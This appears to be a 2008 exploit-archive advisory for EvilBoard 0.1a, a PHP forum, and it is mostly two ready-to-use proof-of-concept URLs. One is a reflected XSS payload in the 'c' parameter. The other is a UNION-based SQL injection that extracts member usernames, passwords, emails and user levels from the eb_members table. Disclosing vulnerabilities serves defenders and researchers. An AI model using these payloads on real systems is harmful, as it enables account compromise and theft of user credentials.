EvilBoard 0.1a (SQL/XSS) Multiple Remote Vulnerabilities

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : EvilBoard 0.1a (SQL/XSS) Multiple Remote Vulnerabilities
# Published : 2008-01-08
# Author : seaofglass
# Previous Title : Zero CMS 1.0 Alpha Arbitrary File Upload / SQL Injection Vulnerabilities
# Next Title : PHP Webquest 2.6 (id_actividad) Remote SQL Injection Exploit

#####################################################################
##
##  Title: EvilBoard 0.1a (Alpha) Multiple Remote Vulnerabilities
##  Author: seaofglass, <seaofglass[at]korea.com>
##  Download: http://sourceforge.net/projects/evilboard
##  Bug: XSS & Remote Sql Injection
##  Info: EvilBoard is using PHP and mysql.
##  MySite: http://seaofglass.backrush.com
##
#####################################################################

# bug 1  : XSS

# PoC
http://host/EvilBoard_0.1a/index.php?c='><script>alert('hi');</script>


# bug 2 : Remote SQL Injection

# PoC
http://host/EvilBoard_0.1a/index.php?c='/**/union/**/select/**/1,concat(username,char(77),password,char(77),email_address,char(77),info,char(77),user_level,char(77))/**/from/**/eb_members/**/where/**/userid=1/*

# thanks
vangelis, AmesianX

# www.Syue.com [2008-01-08]